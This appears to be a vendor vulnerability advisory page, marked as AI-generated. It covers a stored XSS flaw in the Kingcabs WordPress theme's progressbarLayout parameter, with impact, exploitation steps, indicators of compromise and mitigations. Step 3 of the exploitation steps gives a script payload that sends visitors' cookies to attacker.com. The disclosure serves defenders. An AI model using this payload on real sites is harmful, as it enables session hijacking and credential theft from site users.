CVE-2025-7058: 
WordPress vulnerability analysis and mitigation

Overview

CVE-2025-7058 is a Stored Cross-Site Scripting (XSS) vulnerability in the Kingcabs WordPress theme, affecting all versions up to and including 1.1.9. The flaw exists in the progressbarLayout parameter due to insufficient input sanitization and output escaping, allowing authenticated attackers with Contributor-level access or higher to inject arbitrary web scripts into pages. It was published on December 13, 2025, and assigned by Wordfence. The vulnerability carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

Technical details

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerable code resides in the theme's progress bar block handler (blocks-extends/blocks/progressbar.php, line 44), where the progressbarLayout parameter is rendered without proper sanitization or escaping (WordPress Trac). An attacker with at least Contributor-level WordPress access can craft a malicious payload in this parameter, which is then stored in the database and executed in the browser of any user who visits the affected page. No user interaction beyond page access is required for the injected script to execute (Wordfence).

Impact

Successful exploitation allows injected scripts to execute in the context of any site visitor's browser, enabling session hijacking, credential theft, defacement, or redirection to malicious sites. The scope is changed (S:C), meaning the impact extends beyond the attacker's privilege level to affect all users who view the compromised page. While availability is not directly impacted, confidentiality and integrity are both rated Low, reflecting the risk of data exposure and unauthorized content modification (Wordfence, Red Hat CVE).

Exploitability

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-7058. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires at minimum a Contributor-level WordPress account, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence).

Exploitation steps

  1. Gain Contributor Access: Register or compromise a WordPress account with at least Contributor-level privileges on a site running the Kingcabs theme version ≤1.1.9.
  2. Navigate to Block Editor: Create or edit a post/page using the WordPress block editor that includes the Kingcabs progress bar block.
  3. Inject Malicious Payload: Set the progressbarLayout parameter to a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) in the block's settings.
  4. Publish Content: Save or publish the post/page, causing the malicious script to be stored in the WordPress database.
  5. Trigger Execution: When any site visitor (including administrators) loads the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence, WordPress Trac).

Indicators of compromise

  • Logs: WordPress access logs showing POST requests to post/page editing endpoints by low-privileged users containing script tags or encoded JavaScript in block parameters.
  • Database: Unexpected <script> tags or JavaScript event handlers stored in the wp_posts or wp_postmeta tables, particularly in fields associated with the Kingcabs progress bar block.
  • Network: Outbound requests from site visitors' browsers to unknown external domains shortly after loading pages containing the Kingcabs progress bar block (indicative of data exfiltration).
  • File System: Review progressbar.php in the Kingcabs theme directory for any unauthorized modifications to output escaping logic.

Mitigation and workarounds

Site administrators should update the Kingcabs theme to a version beyond 1.1.9, which includes the fix for improper output escaping in the progressbarLayout parameter (WordPress Trac Changeset). As a temporary workaround, restrict Contributor-level user registration and limit who can create or edit content on the site. Additionally, deploying a Web Application Firewall (WAF) with XSS filtering rules can help mitigate exploitation attempts until the patch is applied (Wordfence).

Community reactions

Wordfence disclosed and assigned this CVE as part of their weekly WordPress vulnerability report for December 8–14, 2025, highlighting it among other theme and plugin vulnerabilities discovered that week (Wordfence Blog). No significant broader media coverage or notable researcher commentary beyond the initial Wordfence disclosure has been identified.

Additional resources


Source: This report was generated using AI

Related WordPress vulnerabilities:

CVE ID

Severity

Score

Technologies

Component name

CISA KEV exploit

Has fix

Published date

CVE-2026-86850MEDIUM6.5
  • sku-error-fixer-for-woocommerce
NoNoOct 06, 2026
CVE-2026-88931MEDIUM5.3
  • social-web-suite
NoNoOct 06, 2026
CVE-2026-87841MEDIUM5.3
  • unitechpay-paiements-mobile-money
NoNoOct 06, 2026
CVE-2026-92990MEDIUM5.3
  • sendpress
NoNoOct 06, 2026
CVE-2026-92989MEDIUM4.3
  • sendpress
NoNoOct 06, 2026

Free Vulnerability Assessment

Benchmark your Cloud Security Posture

Evaluate your cloud security practices across 9 security domains to benchmark your risk level and identify gaps in your defenses.

Request assessment

Get a personalized demo

Ready to see Wiz in action?

"Best User Experience I have ever seen, provides full visibility to cloud workloads."
David EstlickCISO
"Wiz provides a single pane of glass to see what is going on in our cloud environments."
Adam FletcherChief Security Officer
"We know that if Wiz identifies something as critical, it actually is."
Greg PoniatowskiHead of Threat and Vulnerability Management